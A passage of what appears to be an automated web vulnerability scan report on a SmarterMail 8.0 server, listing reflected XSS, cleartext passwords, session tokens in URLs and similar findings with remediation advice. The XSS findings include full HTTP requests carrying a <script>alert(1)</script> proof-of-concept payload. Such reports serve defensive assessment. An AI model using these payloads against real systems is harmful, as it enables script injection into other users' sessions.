1|#||4|14534|updatePanel|ctl00_Split_LP_StyledUpdatePanel1|

<div style="display: none">
   <div id="ctl00_Split_LP_ctl01_btnDelete" class="BBButton"><a class="ButtonBarAnchor" href="
...[SNIP]...
ildUpdatePanelIDs|||34|panelsToRefreshIDs||ctl00$Split$LP$StyledUpdatePanel1,|2|asyncPostBackTimeout||90|33|formAction||Default.aspx?section=UserContacts|74|pageTitle||Contacts - x.xss.cx - SmarterMail5b3f8<script>alert(1)</script>f44f08790vulnerable.smartermail.8.0.host|226|scriptBlock|ScriptPath|/ScriptResource.axd?d=JBZpffDZzdG0sAFLVuKhMhe-wadjA7To0caf7-kuSd32GPXOerqUvf0q9l9M9h2AwbO9JwMrFO9FBTzHQFjYwrjSo3DZ92R9Bwdvw9o7de4KO9H2QxWB4wuNSwyR0eyg-b6lseqdjVAZUNuBYqX85Kv
...[SNIP]...

3.3. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx [ctl00%24Split%24LP%24SessionKey parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Default.aspx

Issue detail

The value of the ctl00%24Split%24LP%24SessionKey request parameter is copied into the HTML document as plain text between tags. The payload 6b54a<script>alert(1)</script>d91abbff6a was submitted in the ctl00%24Split%24LP%24SessionKey parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /Default.aspx?section=UserContacts HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx?section=UserContacts
Origin: http://vulnerable.smartermail.8.0.4086.25048.host:9998
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-MicrosoftAjax: Delta=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=; STHashCookie={"CountsGuid":"1333095316","TopBarSection":"UserTasks"}
Content-Length: 1238

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24Split%24LP%24lnkUpdate&ctl00_Split_LP_ctl01_menuContacts_menuContactsView_menuContactsSort_menuContactsSortAsc_CB=on&ctl00_Split_LP_ctl01_menuCo
...[SNIP]...
Bvulnerable.smartermail.8.0.host0F5E1C58%3A%3A%7C%3A%3A%2C%2C.%2C%2C%3A%3A%7C%3A%3A%3A%3A%7C%3A%3Afalse&ctl00%24Split%24LP%24ctl01%24grdContactsScrollPos=52%2C0%2C0&ctl00%24Split%24LP%24SessionKey=908ee3f829c34b52a49f32297ba0d8b96b54a<script>alert(1)</script>d91abbff6a&ctl00%24PageTitle=My%20Calendar%20-%20x.xss.cx%20-%20SmarterMail&ctl00%24PanelLoadedState=%7B%22Contacts%22%3A%229562627F-48D3-4CB9-ABD2-6Bvulnerable.smartermail.8.0.host0F5E1C58%22%7D&__EVENTTARGET=ctl00%24Split%24LP%24lnkUpdat
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:44:53 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Connection: Close
Content-Length: 23887

1|#||4|13983|updatePanel|ctl00_Split_LP_StyledUpdatePanel1|

<div style="display: none">
   <div id="ctl00_Split_LP_ctl01_btnDelete" class="BBButton"><a class="ButtonBarAnchor" href="
...[SNIP]...
', dataSource, -1, 1, 0, NavPreviewPane, 0, ShowContextMenu_ctl00_Split_LP_ctl01_ctl00, DoubleClick, DoDelete, false, 2, '\x7b0\x7d\x20selected\x20items', false, true, '908ee3f829c34b52a49f32297ba0d8b96b54a<script>alert(1)</script>d91abbff6a', -1, '', '', false, '', [{"min":25,"max":25,"percent":false,"locked":true},{"min":100,"max":400,"percent":false,"locked":false}], '/Main/frmEmptyPreviewOuter.aspx?type=tasks', SMWeb.Services.svcSuper
...[SNIP]...

4. Cleartext submission of password  previous  next
There are 2 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


4.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Login.aspx  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Login.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /Login.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:29:03 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 8478


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
<body class="Login" dir="ltr">
   <form method="post" action="Login.aspx" id="aspnetForm">
<div>
...[SNIP]...
</div>
       <input name="ctl00$MPH$txtPassword" type="password" id="ctl00_MPH_txtPassword" tabindex="2" style="width: 310px" />
   </div>
...[SNIP]...

4.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmMySettings.aspx  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmMySettings.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password fields:

Request

GET /Main/frmMySettings.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SelectedLanguage=; STTTState=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; STHashCookie={"CountsGuid":"1193559579","TopBarSection":"UserContacts"}; ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SM5Skin=Default;

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:53:39 GMT
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 61021
Connection: Close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
   Account Settings - x.xss.c
...[SNIP]...
<body class="" dir="ltr">
   <form method="post" action="frmMySettings.aspx" id="aspnetForm">
<div>
...[SNIP]...
<td id="ctl00_MPH_wucUserSettings_txtChangePassword_CurrentPassword_Setting" class="Setting"><input name="ctl00$MPH$wucUserSettings$txtChangePassword_CurrentPassword_SettingText" type="password" id="ctl00_MPH_wucUserSettings_txtChangePassword_CurrentPassword_SettingText" class="text" autocomplete="off" /></td>
...[SNIP]...
<td id="ctl00_MPH_wucUserSettings_txtNP_Setting" class="Setting"><input name="ctl00$MPH$wucUserSettings$txtNP_SettingText" type="password" id="ctl00_MPH_wucUserSettings_txtNP_SettingText" class="text" autocomplete="off" /></td>
...[SNIP]...
<td id="ctl00_MPH_wucUserSettings_txtNewPasswordConfirmed_Setting" class="Setting"><input name="ctl00$MPH$wucUserSettings$txtNewPasswordConfirmed_SettingText" type="password" id="ctl00_MPH_wucUserSettings_txtNewPasswordConfirmed_SettingText" class="text" autocomplete="off" /></td>
...[SNIP]...

5. Session token in URL  previous  next
There are 2 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


5.1. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Default.aspx

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

POST /Default.aspx?section=UserContacts&ctl00%24DC1%24chkHide=&ctl00%24PageTitle=&ctl00%24PanelLoadedState=%7b%7d&ctl00%24Split%24LP%24ctl01%24grdContactsCheckAll=&ctl00%24Split%24LP%24ctl01%24grdContactsScrollPos=&ctl00%24Split%24LP%24ctl01%24grdContactsSelectedIDs=&ctl00%24Split%24LP%24ctl01%24searchBarContacts%24FilterBox=&ctl00%24Split%24LP%24SessionKey=160e0bc2a52943vulnerable.smartermail.8.0.host8ce1ea9c9e5ae22e&ctl00_Split_LP_ctl01_menuContacts_menuContactsView_menuContactsFilter_menuContactsFilterCategory_menuaCategoryNOCATEGORY_CB=&ctl00_Split_LP_ctl01_menuContacts_menuContactsView_menuContactsFilter_menuContactsFilterCategory_menuCategoryAllCategories_CB=&ctl00_Split_LP_ctl01_menuContacts_menuContactsView_menuContactsFilter_menuContactsFilterCategory_menuCaterh+ehtreth_CB=&ctl00_Split_LP_ctl01_menuContacts_menuContactsView_menuContactsSort_menuContactsSortAsc_CB=&ctl00_Split_LP_ctl01_menuContacts_menuContactsView_menuContactsSort_menuContactsSortCompany_CB=&ctl00_Split_LP_ctl01_menuContacts_menuContactsView_menuContactsSort_menuContactsSortDesc_CB=&ctl00_Split_LP_ctl01_menuContacts_menuContactsView_menuContactsSort_menuContactsSortDisplayName_CB=&ctl00_Split_LP_ctl01_menuContacts_menuContactsView_menuContactsSort_menuContactsSortEmailAddress_CB=&ctl00_Split_LP_ctl01_menuContactsSourceTitle_menuContactsSource_menuaSourceGlobalAddressList_CB=&ctl00_Split_LP_ctl01_menuContactsSourceTitle_menuContactsSource_menuSourceSelf_CB= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
Cache-Control: no-cache,no-cache
Content-Type: application/x-www-form-urlencoded
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Cookie: ASP.NET_SessionId=te2cuqx2hht1bzimhlpcovhs; SelectedLanguage=
Accept-Encoding: gzip, deflate
Content-Length: 560

ctl00%24ScriptManager1=ctl00%24ScriptManager1%7cctl00%24Split%24LP%24lnkUpdate&__EVENTTARGET=ctl00%24Split%24LP%24lnkUpdate&__EVENTARGUMENT=UserContacts%7c%2fMain%2ffrmEmptyPreviewOuter.aspx%3ftype%3d
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 23:03:21 GMT
X-AspNet-Version: 4.0.30319
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/plain; charset=utf-8
Content-Length: 38
Connection: Close

1|#||4|13|pageRedirect||%2fLogin.aspx|

5.2. http://vulnerable.smartermail.8.0.4086.25048.host:9998/Main/frmStoredFiles.aspx  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmStoredFiles.aspx

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

POST /Main/frmStoredFiles.aspx?path=Root+Folder%5c&++uploaderId+++%27_%27+++inputCount+++%27_name=%2b+plupload.xmlEncode(file.name)+%2b&++uploaderId+++%27_%27+++inputCount+++%27_status=%2b+(file.status+%3d%3d+plupload.DONE+%3f+%27done%27+%3a+%27failed%27)+%2b&++uploaderId+++%27_%27+++inputCount+++%27_tmpname=%2b+plupload.xmlEncode(file.target_name)+%2b&ctl00%24MPH%24domainField=x.xss.cx&ctl00%24MPH%24pathField=Root+Folder%5c&ctl00%24MPH%24uploadValidationToken=7eec0ccd37c742adb75e8ba59ef82c3b&ctl00%24MPH%24userField=xss&ctl00_MPH_FilesGrid_HiddenInput=&ctl00_MPH_FilesGrid_HiddenLSR= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
X-Requested-With: XMLHttpRequest
X-MicrosoftAjax: Delta=true
Cache-Control: no-cache,no-cache
Content-Type: application/x-www-form-urlencoded
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Cookie: ASP.NET_SessionId=te2cuqx2hht1bzimhlpcovhs; SelectedLanguage=
Accept-Encoding: gzip, deflate
Content-Length: 790

ctl00%24ScriptManager1=ctl00%24MPH%24GridUpdatePanel%7cctl00%24MPH%24UpdateGridButton&__EVENTTARGET=ctl00%24MPH%24UpdateGridButton&__EVENTARGUMENT=&__VIEWSTATE=%2fwEPDwUKLTY3NjA2Njk1Nw8WBh4IX19fVGl0bG
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 23:08:39 GMT
X-AspNet-Version: 4.0.30319
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/plain; charset=utf-8
Content-Length: 1049
Connection: Close

1|#||4|1022|pageRedirect||%2flogin.aspx%3fRedirectUrl%3d%252fMain%252ffrmStoredFiles.aspx%253fpath%253dRoot%252bFolder%25255c%2526%252b%252buploaderId%252b%252b%252b%252527_%252527%252b%252b%252binput
...[SNIP]...

6. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Login.aspx

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /Login.aspx HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg

Response

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:29:03 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 8478


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><ti
...[SNIP]...
<body class="Login" dir="ltr">
   <form method="post" action="Login.aspx" id="aspnetForm">
<div>
...[SNIP]...
</div>
       <input name="ctl00$MPH$txtPassword" type="password" id="ctl00_MPH_txtPassword" tabindex="2" style="width: 310px" />
   </div>
...[SNIP]...

7. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://vulnerable.smartermail.8.0.4086.25048.host:9998
Path:   /Main/frmContact.aspx

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /Main/frmContact.aspx?popup=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
Referer: http://vulnerable.smartermail.8.0.4086.25048.host:9998/Default.aspx?section=UserContacts
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=

Response 1

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:53:39 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 55148


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
   My Contacts - x.xss.cx - S
...[SNIP]...
g9kFgICAQ8WAh4HVmlzaWJsZWhkAgMPZBYCAgEPZBYEAgMPDxYCHwNoZGQCBw8PFgIfA2hkZAIEDxYEHgVzdHlsZQUNZGlzcGxheTpub25lOx8DaGQCBg8WAh8DaGQCBw9kFgJmD2QWAgIBDxYCHwNoFgICAQ8WAh4EVGV4dGVkAgkPZBYCAgEPZBYCZg9kFgICAQ9kFgRmD2QWBgICD2QWAgIBD2QWCGYPZBYCAgEPZBYCAgIPDxYCHwVkZGQCBg8PFgIfA2hkZAIHD2QWBGYPDxYCHwUFDUVtYWlsIEFkZHJlc3NkZAIBD2QWAgICDw8WAh8FZGRkAgoPZBYCAgEPZBYCZg9kFgJmD2QWAmYPZBYCZg8PFgoeCENzc0NsYXNzBRJEYXRlUGlja2VyT3ZlcnJpZGUeHEVuYWJsZUVtYmVkZGVkQmFzZVN0eWxlc2hlZXRoHhNFbmFibGVFbWJlZGRlZFNraW5zaB4EU2tpbgUMU21hcnRlclRvb2xzHgRfIVNCAgJkFgZmDxQrAAgPFhAeB0N1bHR1cmUoKW1TeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mbywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BWVuLVVTHwdoHwhoHwVkHwkFDFNtYXJ0ZXJUb29scx4XRW5hYmxlQWpheFNraW5SZW5kZXJpbmdoHg1MYWJlbENzc0NsYXNzBQdyaUxhYmVsHg1PcmlnaW5hbFZhbHVlZWQWBh4FV2lkdGgbAAAAAAAAWUAHAAAAHwYFEXJpVGV4dEJveCByaUhvdmVyHwoCggIWBh8PGwAAAAAAAFlABwAAAB8GBRFyaVRleHRCb3ggcmlFcnJvch8KAoICFgYfDxsAAAAAAABZQAcAAAAfBgUTcmlUZXh0Qm94IHJpRm9jdXNlZB8KAoICFgYfDxsAAAAAAABZQAcAAAAfBgUTcmlUZXh0Qm94IHJpRW5hYmxlZB8KAoICFgYfDxsAAAAAAABZQAcAAAAfBgUUcmlUZXh0Qm94IHJpRGlzYWJsZWQfCgKCAhYGHw8bAAAAAAAAWUAHAAAAHwYFEXJpVGV4dEJveCByaUVtcHR5HwoCggIWBh8PGwAAAAAAAFlABwAAAB8GBRByaVRleHRCb3ggcmlSZWFkHwoCggJkAgEPDxYEHghJbWFnZVVybAUyL0FwcF9UaGVtZXMvRGVmYXVsdC9JbWFnZXMvMTZ4MTYvQ2FsZW5kYXJNb250aC5naWYeDUhvdmVySW1hZ2VVcmwFMi9BcHBfVGhlbWVzL0RlZmF1bHQvSW1hZ2VzLzE2eDE2L0NhbGVuZGFyTW9udGguZ2lmFgIeB29uY2xpY2sFWXJldHVybiBDYWxlbmRhclBvcHVwKCRmaW5kKCdjdGwwMF9NUEhfd3VjQ29udGFjdEluZm9fQmlydGhEYXlQaWNrZXJfU2V0dGluZ1RleHQnKSwnY2FsJyk7ZAICDxQrAA0PFhwFD1JlbmRlckludmlzaWJsZWcFCUN1bHR1cmVJRAKJCAUWRmFzdE5hdmlnYXRpb25QcmV2VGV4dGUFEVZpZXdTZWxlY3RvckltYWdlBSovQXBwX1RoZW1lcy9EZWZhdWx0L0ltYWdlcy9taXNjL3JpZ2h0Mi5naWYFDVNlbGVjdGVkRGF0ZXMPBY8BVGVsZXJpay5XZWIuVUkuQ2FsZW5kYXIuQ29sbGVjdGlvbnMuRGF0ZVRpbWVDb2xsZWN0aW9uLCBUZWxlcmlrLldlYi5VSSwgVmVyc2lvbj0yMDEwLjMuMTMxNy4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTI5YWMxYTkzZWMwNjNkOTIUKwAABQ5Sb3dIZWFkZXJJbWFnZQUpL0FwcF9UaGVtZXMvRGVmYXVsdC9JbWFnZXMvbWlzYy9yaWdodC5naWYFEk5hdmlnYXRpb25OZXh0VGV4dGUFEUVuYWJsZU11bHRpU2VsZWN0aAUDRVJTaAUNQ3VsdHVyZUluZm9JRCgrBAVlbi1VUwUSTmF2aWdhdGlvblByZXZUZXh0ZQULU3BlY2lhbERheXMPBZIBVGVsZXJpay5XZWIuVU
...[SNIP]...

Request 2

GET /Main/frmContact.aspx?popup=true HTTP/1.1
Host: vulnerable.smartermail.8.0.4086.25048.host:9998
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=d2fs1dpzwlo5qgcazbiaveyg; SelectedLanguage=; settings=4%2fSX5IBIrOpTjpmv%2bH%2fKSrcljfhYXweJ; SM5Skin=Default; STTTState=

Response 2

HTTP/1.1 200 OK
Server: SmarterTools/2.0.4086.25032
Date: Mon, 14 Mar 2011 22:54:58 GMT
X-AspNet-Version: 4.0.30319
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 55052


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
   My Contacts - x.xss.cx - S
...[SNIP]...
g9kFgICAQ8WAh4HVmlzaWJsZWhkAgMPZBYCAgEPZBYEAgMPDxYCHwNoZGQCBw8PFgIfA2hkZAIEDxYEHgVzdHlsZQUNZGlzcGxheTpub25lOx8DaGQCBg8WAh8DaGQCBw9kFgJmD2QWAgIBDxYCHwNoFgICAQ8WAh4EVGV4dGVkAgkPZBYCAgEPZBYCZg9kFgICAQ9kFgJmD2QWBgICD2QWAgIBD2QWCGYPZBYCAgEPZBYCAgIPDxYCHwVkZGQCBg8PFgIfA2hkZAIHD2QWBGYPDxYCHwUFDUVtYWlsIEFkZHJlc3NkZAIBD2QWAgICDw8WAh8FZGRkAgoPZBYCAgEPZBYCZg9kFgJmD2QWAmYPZBYCZg8PFgoeCENzc0NsYXNzBRJEYXRlUGlja2VyT3ZlcnJpZGUeHEVuYWJsZUVtYmVkZGVkQmFzZVN0eWxlc2hlZXRoHhNFbmFibGVFbWJlZGRlZFNraW5zaB4EU2tpbgUMU21hcnRlclRvb2xzHgRfIVNCAgJkFgZmDxQrAAgPFhAeB0N1bHR1cmUoKW1TeXN0ZW0uR2xvYmFsaXphdGlvbi5DdWx0dXJlSW5mbywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BWVuLVVTHwdoHwhoHwVkHwkFDFNtYXJ0ZXJUb29scx4XRW5hYmxlQWpheFNraW5SZW5kZXJpbmdoHg1MYWJlbENzc0NsYXNzBQdyaUxhYmVsHg1PcmlnaW5hbFZhbHVlZWQWBh4FV2lkdGgbAAAAAAAAWUAHAAAAHwYFEXJpVGV4dEJveCByaUhvdmVyHwoCggIWBh8PGwAAAAAAAFlABwAAAB8GBRFyaVRleHRCb3ggcmlFcnJvch8KAoICFgYfDxsAAAAAAABZQAcAAAAfBgUTcmlUZXh0Qm94IHJpRm9jdXNlZB8KAoICFgYfDxsAAAAAAABZQAcAAAAfBgUTcmlUZXh0Qm94IHJpRW5hYmxlZB8KAoICFgYfDxsAAAAAAABZQAcAAAAfBgUUcmlUZXh0Qm94IHJpRGlzYWJsZWQfCgKCAhYGHw8bAAAAAAAAWUAHAAAAHwYFEXJpVGV4dEJveCByaUVtcHR5HwoCggIWBh8PGwAAAAAAAFlABwAAAB8GBRByaVRleHRCb3ggcmlSZWFkHwoCggJkAgEPDxYEHghJbWFnZVVybAUyL0FwcF9UaGVtZXMvRGVmYXVsdC9JbWFnZXMvMTZ4MTYvQ2FsZW5kYXJNb250aC5naWYeDUhvdmVySW1hZ2VVcmwFMi9BcHBfVGhlbWVzL0RlZmF1bHQvSW1hZ2VzLzE2eDE2L0NhbGVuZGFyTW9udGguZ2lmFgIeB29uY2xpY2sFWXJldHVybiBDYWxlbmRhclBvcHVwKCRmaW5kKCdjdGwwMF9NUEhfd3VjQ29udGFjdEluZm9fQmlydGhEYXlQaWNrZXJfU2V0dGluZ1RleHQnKSwnY2FsJyk7ZAICDxQrAA0PFhwFD1JlbmRlckludmlzaWJsZWcFCUN1bHR1cmVJRAKJCAUWRmFzdE5hdmlnYXRpb25QcmV2VGV4dGUFEVZpZXdTZWxlY3RvckltYWdlBSovQXBwX1RoZW1lcy9EZWZhdWx0L0ltYWdlcy9taXNjL3JpZ2h0Mi5naWYFDVNlbGVjdGVkRGF0ZXMPBY8BVGVsZXJpay5XZWIuVUkuQ2FsZW5kYXIuQ29sbGVjdGlvbnMuRGF0ZVRpbWVDb2xsZWN0aW9uLCBUZWxlcmlrLldlYi5VSSwgVmVyc2lvbj0yMDEwLjMuMTMxNy4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTI5YWMxYTkzZWMwNjNkOTIUKwAABQ5Sb3dIZWFkZXJJbWFnZQUpL0FwcF9UaGVtZXMvRGVmYXVsdC9JbWFnZXMvbWlzYy9yaWdodC5naWYFEk5hdmlnYXRpb25OZXh0VGV4dGUFEUVuYWJsZU11bHRpU2VsZWN0aAUDRVJTaAUNQ3VsdHVyZUluZm9JRCgrBAVlbi1VUwUSTmF2aWdhdGlvblByZXZUZXh0ZQULU3BlY2lhbERheXMPBZIBVGVsZXJpay5XZWIuVU
...[SNIP]...

8. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

